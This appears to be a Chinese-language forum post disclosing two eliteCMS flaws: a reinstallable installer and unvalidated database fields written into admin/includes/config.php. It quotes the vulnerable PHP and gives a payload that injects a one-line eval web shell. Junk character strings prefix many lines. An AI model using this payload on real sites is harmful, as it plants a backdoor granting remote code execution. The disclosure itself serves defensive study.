eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

* x( F  w/ e4 n$ w' ]+ k7 u1 `另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( {% _9 G* L  I- a' q* E我们来看代码：

, Z5 h7 C5 q, d; y+ \...
elseif ($_GET['step'] == "4") {
. }( \- T* v# n* T. o2 n! a9 J! b    $file = "../admin/includes/config.php";
- a7 T& f# b7 t5 Q4 {- E# z+ e* U    $write = "<?php\n";
    $write .= "/**\n";
! m3 l/ e- U5 ~7 s6 R    $write .= "*\n";
  X$ `. h$ M2 S& s+ o    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
8 `9 N2 h: I5 C9 n    $write .= "*\n";
  O& o1 I( ]  \3 x, F    $write .= "*/\n";
! u7 |1 }% `/ E. G( }; G    $write .= "\n";
$ t5 \; C* _; O0 J5 M! `8 |    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
$ u, X; d# k' n+ r1 M    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, V5 v5 o% _# Q! t    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; V7 `  I( P- l    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 \/ t$ B! W: L* m; v' P! a    $write .= "        \n";
( |, J' U4 y9 m3 r- k8 h( o* s    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
; R& i! }, w5 c: l    $write .= "if (!\$db_select) {\n";
3 V3 S- U9 [* y* @% z    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
, M5 a$ Y  @; }4 f" v8 ~. i    $write .= "?>\n";
. {. h' A7 A5 Z7 k5 f9 {) e, ^/ |8 h% M
$ Z7 n, y/ c1 w" T6 N0 W( |: E    $writer = fopen($file, 'w');
...

' E' O8 n& I" i+ `在看代码：
, ^; Y1 t/ g3 Z! w7 s; J; X( J
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. G' r. j8 X3 [* ~' R1 G0 u( X! u$_SESSION['DB_USER'] = $_POST['DB_USER'];
2 J* ~& V4 O8 Z1 m% c$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
' N+ D; }, h7 r/ {
取值未作任何验证
1 g, I3 z4 v/ p, R4 t% L' i8 C5 Y如果将数据库名POST数据：
9 g# O  S0 |3 g! \% [4 ?& ^
& k' q  G/ o2 U' {"?><?php eval($_POST[c]);?><?php
: o- c' J. C* y: l
$ J" z1 R+ Q" T5 E% w: C8 N将导致一句话后门写入/admin/includes/config.php